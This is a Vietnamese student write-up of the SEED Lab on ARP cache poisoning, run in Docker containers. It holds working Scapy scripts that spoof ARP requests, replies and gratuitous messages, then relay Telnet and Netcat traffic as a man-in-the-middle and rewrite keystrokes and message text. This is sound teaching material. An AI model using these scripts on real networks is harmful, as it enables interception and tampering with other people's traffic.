Environment Setup

Sơ đồ mạng:

Container của các host:

$ docker ps
CONTAINER ID   IMAGE                               COMMAND                  CREATED         STATUS         PORTS     NAMES
3437aad8a02c   handsonsecurity/seed-ubuntu:large   "/bin/sh -c /bin/bash"   7 minutes ago   Up 7 minutes             M-10.9.0.105
a2bb3345a540   handsonsecurity/seed-ubuntu:large   "bash -c ' /etc/init…"   7 minutes ago   Up 7 minutes             A-10.9.0.5
9b1770497c38   handsonsecurity/seed-ubuntu:large   "bash -c ' /etc/init…"   7 minutes ago   Up 7 minutes             B-10.9.0.6

Địa chỉ IP và MAC của interface eth0 trên từng host:

HostIPMAC
M10.9.0.10502:42:0a:09:00:69
A10.9.0.502:42:0a:09:00:05
B10.9.0.602:42:0a:09:00:06

Host M được dùng để triển khai man-in-the-middle (MITM) attack.

Do cần thay đổi các tham số của kernel lúc runtime (sử dụng sysctl) chẳng hạn như cho phép thực hiện IP forwarding, ta cần cấp đặc quyền cho container:

privileged: true

Bridge interface trên hosting machine là br-c648601fd9d0.

Task 1: ARP Cache Poisoning

Mục tiêu của task này là thực hiện ARP cache poisoning1.

Ví dụ xây dựng gói tin ARP sử dụng Scapy:

from scapy.all import *
 
E = Ether()
A = ARP()
A.op = 1 # 1 for ARP request; 2 for ARP reply
 
pkt = E/A
sendp(pkt)

Note

Hàm sendp giúp gửi gói tin ở layer 2.

Các thuộc tính của lớp Ether và lớp ARP:

>>> ls(Ether)
dst        : DestMACField                        = ('None')
src        : SourceMACField                      = ('None')
type       : XShortEnumField                     = ('36864')
>>> ls(ARP)
hwtype     : XShortEnumField                     = ('1')
ptype      : XShortEnumField                     = ('2048')
hwlen      : FieldLenField                       = ('None')
plen       : FieldLenField                       = ('None')
op         : ShortEnumField                      = ('1')
hwsrc      : MultipleTypeField (SourceMACField, StrFixedLenField) = ('None')
psrc       : MultipleTypeField (SourceIPField, SourceIP6Field, StrFixedLenField) = ('None')
hwdst      : MultipleTypeField (MACField, StrFixedLenField) = ('None')
pdst       : MultipleTypeField (IPField, IP6Field, StrFixedLenField) = ('None')

Nếu trường không được thiết lập thì giá trị mặc định ở cột thứ 3 sẽ được sử dụng.

Để thực hiện ARP cache poisoning, ta cần thêm vào ARP table của host A một entry giả mạo giúp ánh xạ địa chỉ IP của host B sang địa chỉ MAC của host M.

Chúng ta có thể sử dụng câu lệnh arp -n để xem ARP table của host. Ví dụ:

$ arp -n
Address HWtype HWaddress Flags Mask Iface
10.0.2.1 ether 52:54:00:12:35:00 C enp0s3
10.0.2.3 ether 08:00:27:48:f4:0b C enp0s3

Để xóa một entry cho địa chỉ IP a.b.c.d, dùng câu lệnh arp -d a.b.c.d.

Task 1.A (using ARP request)

Trước tiên, ta sẽ xem xét cấu trúc của một gói tin ARP request bất kỳ. Giả sử ta cần phân giải địa chỉ IP của default gateway (10.9.0.1), ta xây dựng gói tin như sau:

pkt = Ether(dst=ETHER_BROADCAST) / ARP(op=1, hwdst=ETHER_BROADCAST, pdst="10.9.0.1")

Gói tin ARP request gửi đi có các thuộc tính như sau:

###[ Ethernet ]###
  dst       = ff:ff:ff:ff:ff:ff
  src       = 02:42:0a:09:00:69
  type      = ARP
###[ ARP ]###
     hwtype    = Ethernet (10Mb)
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = who-has
     hwsrc     = 02:42:0a:09:00:69
     psrc      = 10.9.0.105
     hwdst     = ff:ff:ff:ff:ff:ff
     pdst      = 10.9.0.1

Giải thích các thuộc tính trên:

  • hwtype là loại phần cứng. Giá trị thực của Ethernet là 1.
  • ptype là loại giao thức. Giá trị thực của IPv40x0800 (2048).
  • hwlen là kích thước của địa chỉ phần cứng.
  • plen là kích thước của địa chỉ giao thức.
  • op là opcode. Giá trị 'who-has' (tương ứng với 1) cho biết rằng đây là gói tin ARP request.
  • hwsrcpsrc là địa chỉ MAC và IP của bên gửi là host M.
  • hwdstpdst là địa chỉ MAC và IP của bên nhận. Có thể thấy, địa chỉ MAC của bên nhận là địa chỉ broadcast.

Gói tin ARP reply có các thuộc tính sau:

###[ Ethernet ]###
  dst       = 02:42:0a:09:00:69
  src       = 02:42:08:40:a7:43
  type      = ARP
###[ ARP ]###
     hwtype    = Ethernet (10Mb)
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 02:42:08:40:a7:43
     psrc      = 10.9.0.1
     hwdst     = 02:42:0a:09:00:69
     pdst      = 10.9.0.105

Có thể thấy:

  • Opcode là 'is-at' (tương ứng với 2) cho biết đây là gói tin ARP reply.
  • Địa chỉ MAC và IP của bên gửi là default gateway.
  • Địa chỉ MAC và IP của bên nhận là host M.

Xây dựng script để gửi gói tin ARP request với:

  • Địa chỉ MAC nguồn là của host M.
  • Địa chỉ IP nguồn là của host B.
  • Địa chỉ MAC và IP đích là của host A.
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
 
ETHER_BROADCAST
M_MAC = "02:42:0a:09:00:69"
A_MAC = "02:42:0a:09:00:05"
A_IP = "10.9.0.5"
B_IP = "10.9.0.6"
 
pkt = Ether(src=M_MAC, dst=A_MAC) / ARP(
    hwlen=6,
    plen=4,
    op=1,
    hwsrc=M_MAC,
    psrc=B_IP,
    hwdst=A_MAC,
    pdst=A_IP,
)
pkt.show()
sendp(pkt)

Note

Ta cũng có thể sử dụng địa chỉ MAC đích đến là địa chỉ broadcast.

Gói tin ARP request gửi đi:

###[ Ethernet ]###
  dst       = 02:42:0a:09:00:05
  src       = 02:42:0a:09:00:69
  type      = ARP
###[ ARP ]###
     hwtype    = Ethernet (10Mb)
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = who-has
     hwsrc     = 02:42:0a:09:00:69
     psrc      = 10.9.0.6
     hwdst     = 02:42:0a:09:00:05
     pdst      = 10.9.0.5

Khi host A nhận được gói tin ARP request, nó đã gửi lại một gói tin ARP reply như sau:

###[ Ethernet ]###
  dst       = 02:42:0a:09:00:69
  src       = 02:42:0a:09:00:05
  type      = ARP
###[ ARP ]###
     hwtype    = Ethernet (10Mb)
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 02:42:0a:09:00:05
     psrc      = 10.9.0.5
     hwdst     = 02:42:0a:09:00:69
     pdst      = 10.9.0.6

Host A có thêm một entry như sau vào ARP table:

$ docker exec -it A-10.9.0.5 arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0

Có thể thấy, địa chỉ IP của host B (10.9.0.6) đã được ánh xạ với địa chỉ MAC của host M (02:42:0a:09:00:69).

Success

Kết luận: có thể dùng gói tin ARP request để thực hiện tấn công ARP cache poisoning.

ARP table của host M không được cập nhật dù đã nhận được gói ARP reply từ host A:

$ docker exec -it M-10.9.0.105 arp -n
 

Lý do là vì giá trị pdst trong gói tin ARP reply không khớp với địa chỉ IP của interface có địa chỉ MAC 02:42:0a:09:00:69 (10.9.0.105).

Task 1.B (using ARP reply)

Sử dụng gói tin ARP reply để tấn công trong hai trường hợp:

  1. Địa chỉ IP của host B đã có trong ARP table của host A.
  2. Địa chỉ IP của host B chưa có trong ARP table của host A.

Đối với trường hợp 1, ta sử dụng lệnh ping từ host B đến host A để nó thêm một entry có địa chỉ IP của host B vào ARP table:

$ docker exec -it B-10.9.0.6 ping 10.9.0.5 -c 1
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=64 time=0.088 ms
 
--- 10.9.0.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.088/0.088/0.088/0.000 ms

ARP table của host A:

$ docker exec -it A-10.9.0.5 arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0

Sử dụng lại script ở phần Task 1.A (using ARP request) và thay đổi opcode của gói tin ARP thành 'is-at' (hoặc 2).

Chạy script và ta thu được gói tin sau:

###[ Ethernet ]### 
  dst       = 02:42:0a:09:00:05
  src       = 02:42:0a:09:00:69
  type      = ARP
###[ ARP ]### 
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 02:42:0a:09:00:69
     psrc      = 10.9.0.6
     hwdst     = 02:42:0a:09:00:05
     pdst      = 10.9.0.5

ARP table của host A:

$ docker exec -it A-10.9.0.5 arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth

Có thể thấy, địa chỉ MAC của host B ở trong ARP table đã thay thành địa chỉ MAC của host M (02:42:0a:09:00:69 thay vì 02:42:0a:09:00:06). Điều này đồng nghĩa với việc chúng ta đã tấn công thành công.

Fail

Trong trường hợp không có entry nào chứa địa chỉ IP của host B ở trong ARP table của host A: tấn công không được. Có thể là do hệ điều hành đã cấu hình để hủy gói tin unsolicited ARP.

Kiểm tra tunable arp_accept của interface eth0 thì quả thật như vậy:

root@eb906ee521f6:/# cat /proc/sys/net/ipv4/conf/eth0/arp_accept
0

Bật tunable arp_accept lên thì có lỗi như sau:

root@eb906ee521f6:/# echo 1 > ./proc/sys/net/ipv4/conf/eth0/arp_accept
bash: ./proc/sys/net/ipv4/conf/eth0/arp_accept: Read-only file system

Lý do là vì host A không có cấu hình privileged: true trong Dockerfile.

Success

Thử cấu hình privileged: true rồi bật tunable lên và gửi gói tin thì tạo được entry ở trong ARP table.

Task 1.C (using ARP Gratuitous message)

Sử dụng gói tin gratuitous ARP2 để tấn công.

Xây dựng script như sau:

from scapy.all import *
from scapy.layers.l2 import Ether, ARP
 
ETHER_BROADCAST
hostM_MAC = "02:42:0a:09:00:69"
hostB_IP = "10.9.0.6"
 
pkt = Ether(dst=ETHER_BROADCAST) / ARP(
    hwlen=6,
    plen=4,
    op=1,
    hwsrc=hostM_MAC,
    psrc=hostB_IP,
    hwdst=ETHER_BROADCAST,
    pdst=hostB_IP
)
sendp(pkt)

Gói tin gratuitous ARP được gửi đi có dạng như sau:

###[ Ethernet ]### 
  dst       = ff:ff:ff:ff:ff:ff
  src       = 02:42:0a:09:00:69
  type      = ARP
###[ ARP ]### 
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 02:42:0a:09:00:69
     psrc      = 10.9.0.6
     hwdst     = ff:ff:ff:ff:ff:ff
     pdst      = 10.9.0.6

Trong trường hợp host A đã có một entry chứa địa chỉ IP của host B trước đó:

$ docker exec -it A-10.9.0.5 arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0

Thì chúng ta có thể tạo được entry ở trong ARP table:

$ docker exec -it A-10.9.0.5 arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0

Ngược lại, nếu trong ARP table không có entry nào chứa địa chỉ IP của host B thì việc tấn công sẽ thất bại.

Note

Tất nhiên, nếu bật tunable arp_accept lên thì ta vẫn có thể tạo được entry ở trong ARP table.

Task 2: MITM Attack on Telnet Using ARP Cache Poisoning

Host A và B sử dụng Telnet để nói chuyện với nhau và host M muốn can thiệp vào cuộc nói chuyện đó:

Từng container đều có một tài khoản Telnet với username là seed và password là dees.

Step 1 (Launch the ARP Cache Poisoning attack)

Thực hiện tấn công ARP cache poisoning trên cả A và B sao cho địa chỉ IP của B trong ARP table của A và địa chỉ IP của A trong ARP table của B đều được phân giải thành địa chỉ MAC của M.

Viết hàm để tấn công ARP cache poising vào host A và host B như sau:

M_MAC = "02:42:0a:09:00:69"
A_IP = "10.9.0.5"
B_IP = "10.9.0.6"
ip_pool = [A_IP, B_IP]
 
def poison():
    ip_pool_len = len(ip_pool)
    for i in range(0, ip_pool_len):
        pkt = Ether(src=M_MAC, dst=ETHER_BROADCAST) / ARP(
            hwlen=6,
            plen=4,
            op=1,
            hwsrc=M_MAC,
            psrc=ip_pool[ip_pool_len - i - 1],
            hwdst=ETHER_BROADCAST,
            pdst=ip_pool[i],
        )
        pkt.show()
        sendp(pkt)

Có thể thấy, hàm trên sử dụng gói tin ARP request để tấn công.

Ta chạy hàm trên mỗi 5 giây để đảm bảo entry giả mạo trong ARP table của host A và host B không bị thay thế:

while True:
    poison()
    time.sleep(5)

Sau khi chạy script thì ARP table của host A là:

root@d08b335795fb:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0

Có thể thấy, địa chỉ IP của host B đã được phân giải thành địa chỉ MAC của host M.

Tương tự ở trong ARP table của host B:

root@b34e96d7fb20:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.5                 ether   02:42:0a:09:00:69   C                     eth0

Step 2 (Testing)

Thực hiện ping giữa A và B rồi theo dõi traffic.

Note

Trước khi thực hiện, cần tắt tính năng IP forwarding của host M:

sysctl net.ipv4.ip_forward=0

Khi ping từ host A đến host B, ta thu được traffic như sau:

Ngoài những gói tin ICMP thì có xuất hiện một vài gói tin ARP request. Tất nhiên, nếu chúng ta tắt script trên thì entry giả mạo ở trong ARP table của các host sẽ bị thay thế:

root@d08b335795fb:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
 
root@b34e96d7fb20:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.5                 ether   02:42:0a:09:00:05   C                     eth0

Khi chạy script liên tục thì gói tin ICMP echo request gửi từ A đến B sẽ không có phản hồi:

Sau một hồi giằng co thì entry giả mạo của host B ở trong ARP table của host A cũng bị thay thế:

Khi đó, sẽ có các gói tin echo reply trả về.

Nếu giảm thời gian delay giữa các lần gửi gói tin ARP giả mạo xuống khoảng 1 giây thì entry giả mạo ít bị thay thế hơn.

Step 3 (Turn on IP forwarding)

Bật tính năng IP forwarding và thực hiện ping từ host A đến host B, ta thấy host A có nhận được các gói tin ICMP echo reply từ host B:

root@d08b335795fb:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.185 ms
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.046 ms
64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.070 ms
64 bytes from 10.9.0.6: icmp_seq=4 ttl=63 time=0.045 ms

Xét một gói tin ICMP echo request có sequence number là 3:

Gói tin này có địa chỉ MAC nguồn là của host A còn địa chỉ MAC đích là của host M.

Theo sau đó là cũng là một gói tin ICMP echo request có sequence number là 3:

Tuy nhiên, địa chỉ MAC nguồn là của host M còn địa chỉ MAC đích là của host B.

Như vậy, host M đóng vai trò như là một proxy giữa host A và host B.

Gói tin ICMP echo reply cũng được trả về cho host M rồi mới được chuyển tiếp cho host B:

Step 4 (Launch the MITM attack)

Giả sử host A là Telnet client còn host B là Telnet server. Bước này yêu cầu ta thay thế bất cứ phím nào mà host A gửi đến host B thành một ký tự bất kỳ (chẳng hạn như Z).

Đầu tiên, ta vẫn bật tính năng IP forwarding để host A và B thiết lập kết nối Telnet:

sysctl net.ipv4.ip_forward=1

Tắt IP forwarding rồi thử nhập ký tự a vào terminal của host A thì không thấy hiển thị lại ký tự vừa nhập. Lý do là vì sau khi tắt IP forwarding, gói tin từ host A đến host B không còn được chuyển tiếp bởi host M.

Do không có gói tin ACK cho gói tin TCP đã gửi, host A sẽ liên tục gửi lại gói tin:

Ngoài ra, do không nhận được gói tin từ host A, host B cũng không trả về gói tin có chứa payload để host A hiển thị ra terminal.

Như vậy, trước tiên ta cần thực hiện việc chuyển tiếp gói tin từ A đến B. Cụ thể, ta sẽ lắng nghe các gói tin TCP từ host A và host B trên interface eth0 của host M rồi thực hiện chuyển tiếp:

from scapy.all import *
from scapy.layers.inet import Ether, IP
 
MAC_M = "02:42:0a:09:00:69"
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
 
def spoof_pkt(pkt):
	if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
		pkt[Ether].src = MAC_M
		pkt[Ether].dst = MAC_B
	pkt.show()
	sendp(pkt)
 
pkt = sniff(iface="eth0", filter=f"tcp and not (ether src {MAC_M})", prn=spoof_pkt)

Chạy script trên thì ta thu được các gói tin chuyển tiếp từ host M sang host B như sau:

Mỗi gói tin chuyển tiếp sẽ tương ứng với một gói tin mà host A gửi. Do host A thực hiện gửi lại các gói tin nên có nhiều gói tin chuyển tiếp.

Tuy nhiên, ta thấy rằng host B không phản hồi lại gói tin có chứa payload. Điều này có thể là do ta xây dựng gói tin chuyển tiếp bị sai và host B không chấp nhận. Sửa lại hàm spoof_pkt() như sau:

def spoof_pkt(pkt):
	if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
		pkt[Ether].src = MAC_M
		pkt[Ether].dst = MAC_B
		del pkt[IP].chksum
		del pkt[TCP].chksum
		sendp(pkt)

Có thể thấy, ta thêm 2 dòng xóa thuộc tính checksum của IP và TCP. Các giá trị bị xóa này sẽ được Scapy tự tính toán lại khi gửi gói tin.

Chạy script trên và ta thu được gói tin phản hồi từ host B ở trong Wireshark như sau:

Việc tiếp theo cần làm là chuyển tiếp gói tin từ host B đến host A:

def spoof_pkt(pkt):
	if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
		pkt[Ether].src = MAC_M
		pkt[Ether].dst = MAC_B
		del pkt[IP].chksum
		del pkt[TCP].chksum
		sendp(pkt)
	elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
		pkt[Ether].src = MAC_M
		pkt[Ether].dst = MAC_A
		del pkt[IP].chksum
		del pkt[TCP].chksum
		sendp(pkt)

Chạy script trên thì thấy ký tự nhập vào terminal của host A đã được hiển thị lại.

Note

Lưu lý là ta chỉ chuyển tiếp các gói tin đi từ A đến B hoặc từ B đến A. Tất cả các gói tin TCP khác thỏa mãn filter ở trên đều được chuyển tiếp.

Viết gọn script lại như sau:

def set_pkt_properties(pkt, src_mac, dst_mac):
    pkt[Ether].src = src_mac
    pkt[Ether].dst = dst_mac
    del pkt[IP].chksum
    del pkt[TCP].chksum
 
def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        set_pkt_properties(pkt, MAC_M, MAC_B)
	    sendp(pkt)
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        set_pkt_properties(pkt, MAC_M, MAC_A)
	    sendp(pkt)

Việc cuối cùng mà ta cần làm là thay thế payload ở trong gói tin gửi từ host A đến host B thành ký tự Z:

def replace_payload(pkt):
	if pkt[TCP].payload and pkt[TCP].payload.load:
		pkt[TCP].payload.load = "Z"
 
def spoof_pkt(pkt):
	if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
		set_pkt_properties(pkt, MAC_M, MAC_B)
		replace_payload(pkt)
		sendp(pkt)
	elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
		set_pkt_properties(pkt, MAC_M, MAC_A)
		sendp(pkt)

Chạy script trên rồi nhập ký tự bất kỳ vào terminal của host A (đang mở Telnet session đến host B) thì bị thay thế thành ký tự Z như sau:

seed@b34e96d7fb20:~$ ZZZZZZ

Gói tin giả mạo mà host M gửi đến host B:

###[ Ethernet ]### 
  dst       = 02:42:0a:09:00:06
  src       = 02:42:0a:09:00:69
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x10
     len       = 53
     id        = 33349
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = tcp
     chksum    = 0xa451
     src       = 10.9.0.5
     dst       = 10.9.0.6
     \options   \
###[ TCP ]### 
        sport     = 43422
        dport     = telnet
        seq       = 3542977659
        ack       = 173649922
        dataofs   = 8
        reserved  = 0
        flags     = PA
        window    = 249
        chksum    = 0x5d00
        urgptr    = 0
        options   = [('NOP', None), ('NOP', None), ('Timestamp', (2693507656, 4262043141))]
###[ Raw ]### 
           load      = 'Z'

Task 3: MITM Attack on Netcat Using ARP Cache Poisoning

Task này tương tự như task 2 nhưng host A và host B nói chuyện với nhau thông qua Netcat thay vì Telnet. Ngoài ra, cần thay thế tên của chúng ta ở trong các đoạn tin nhắn bằng chuỗi các chữ A có cùng độ dài (nếu không thì sẽ làm xáo trộn sequence number của TCP cũng như là toàn bộ kết nối TCP).

Host B sẽ là Netcat server còn host A sẽ là Netcat client.

Info

Đối với Netcat, một dòng message sẽ tương ứng với một gói tin TCP (trong khi Telnet thì một ký tự tương ứng với một gói tin TCP).

Trước tiên, ta cũng bật IP forwarding để host A và host B thiết lập kết nối Netcat. Gói tin trao đổi dữ liệu của Netcat có cấu trúc tương tự với gói tin Telnet:

###[ Ethernet ]### 
  dst       = 02:42:0a:09:00:69
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 55
     id        = 39266
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = tcp
     chksum    = 0x8d42
     src       = 10.9.0.5
     dst       = 10.9.0.6
     \options   \
###[ TCP ]### 
        sport     = 35864
        dport     = 9090
        seq       = 2136258570
        ack       = 1160915117
        dataofs   = 8
        reserved  = 0
        flags     = PA
        window    = 251
        chksum    = 0x1446
        urgptr    = 0
        options   = [('NOP', None), ('NOP', None), ('Timestamp', (1568420966, 1639073050))]
###[ Raw ]### 
           load      = 'ls\n'

Sửa lại script ở Step 4 (Launch the MITM attack) bằng cách viết lại hàm replace_payload() như sau:

def replace_payload(pkt):
	if pkt[TCP].payload:
		load = pkt[TCP].payload.load
		if load:
			pkt[TCP].payload.load = load.replace(b"quan", b"AAAA")

Hàm trên sẽ thay thế chuỗi quan ở trong payload của gói tin gốc thành chuỗi AAAA.

Tắt IP forwarding và chạy script vừa sửa. Khi gõ vào quan ở terminal của host A thì host B sẽ nhận được chuỗi AAAA như sau:

root@a2e4f64ab1ce:/# nc 10.9.0.6 9090
ls
quan
 
root@b34e96d7fb20:/# nc -lp 9090
ls
AAAA

Gói tin giả mạo mà host M gửi cho host B:

###[ IP ]### 
  version   = 4
  ihl       = 5
  tos       = 0x0
  len       = 57
  id        = 609
  flags     = DF
  frag      = 0
  ttl       = 64
  proto     = tcp
  chksum    = 0x2442
  src       = 10.9.0.5
  dst       = 10.9.0.6
  \options   \
###[ TCP ]### 
     sport     = 36406
     dport     = 9090
     seq       = 4032576636
     ack       = 3331588476
     dataofs   = 8
     reserved  = 0
     flags     = PA
     window    = 251
     chksum    = 0x301a
     urgptr    = 0
     options   = [('NOP', None), ('NOP', None), ('Timestamp', (1569872382, 1640621311))]
###[ Raw ]### 
        load      = 'AAAA\n'
list
from outgoing([[SEED Lab - ARP Cache Poisoning]])
sort file.ctime asc

Resources

Footnotes

  1. xem thêm ARP Cache Poisoning (ARP Spoofing)

  2. xem thêm Gratuitous ARP